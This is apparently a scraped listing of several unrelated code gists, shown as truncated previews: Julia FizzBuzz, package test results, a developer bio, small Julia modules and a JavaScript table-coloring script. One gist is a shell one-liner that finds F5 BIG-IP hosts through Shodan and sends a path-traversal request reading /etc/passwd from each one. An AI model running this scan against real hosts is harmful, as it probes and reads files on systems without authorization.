This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function fizzbuzz(n) | |
numbers = 1:n | |
# first we convert the numbers to strings | |
result = string.(numbers) | |
result[rem.(numbers, 3) .== 0] .= "Fizz" | |
result[rem.(numbers, 5) .== 0] .= "Buzz" | |
result[(rem.(numbers, 3) .== 0) .* (rem.(numbers, 5) .== 0)] .= "FizzBuzz" | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done | |
#sudo apt install curl | |
#sudo apt install python3-shodan | |
#shodan init YOUR_API_KEY |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Computer Systems Engineer, with more than 8 years of professional experience. Member of the IEEE Computer Society and the ACM. He has made contributions to free software in addition to being interested in emerging areas of technology. | |
He learned to program at 16 in programming language C, an event that caused technology to become his biggest hobby. He currently works as an independent software developer and as a university teacher. | |
Freelancer in software development projects such as web frontend, web backend plus infrastructure in multiple languages and technologies such as codeigniter, Ruby on rails, Django and laravel. | |
Knowledge in C, D, julia, java, assembler, c ++, c, javascript, perl, python, ruby, r, go, elixir, c, clojure, css, tex, matlab, swift, kotlin. | |
Database Managers: PostgreSQL, MySQL, MariaDB, MongoDB, RethinkDB | |
Others: Docker, Kubernetes, Quantum Computing, Blockchain, Graphql, GIT, Vim, React js, Vue js, Ruy on rails, Flask, Artificial Intelligence, Parallel and Distributed Computing, Re |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"Levenshtein" => :ok | |
"ReadStat" => :skipped | |
"Discretizers" => :fail | |
"SchumakerSpline" => :fail | |
"GaussQuadrature" => :fail | |
"SyntaxTree" => :ok | |
"Peaks" => :ok | |
"FredData" => :skipped | |
"RecurrenceAnalysis" => :ok | |
"MKLSparse" => :fail |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env julia | |
module JuliaTanBot | |
export julia_tan | |
using PyCall | |
@pyimport textwrap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module DictMacro | |
export @dict | |
""" | |
@dict {k₁: v₁, k₂: v₂, …, kₙ₋₁: vₙ₋₁, kₙ: vₙ} | |
Use Python's `dict`, JSON like syntax for `Dict` literals. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var a = (function() { | |
var _colorear = function() { | |
var colores = ["red", "blue", "pink", "yellow"]; | |
var celdas_alrededor = function(celda) { | |
var obj_salida = { "arriba": undefined, "derecha": undefined, "abajo": undefined, "izquierda": undefined }; | |
var indice = celda.cellIndex; | |
/* Celda de arriba */ | |
if (celda.parentElement.previousElementSibling !== null) { |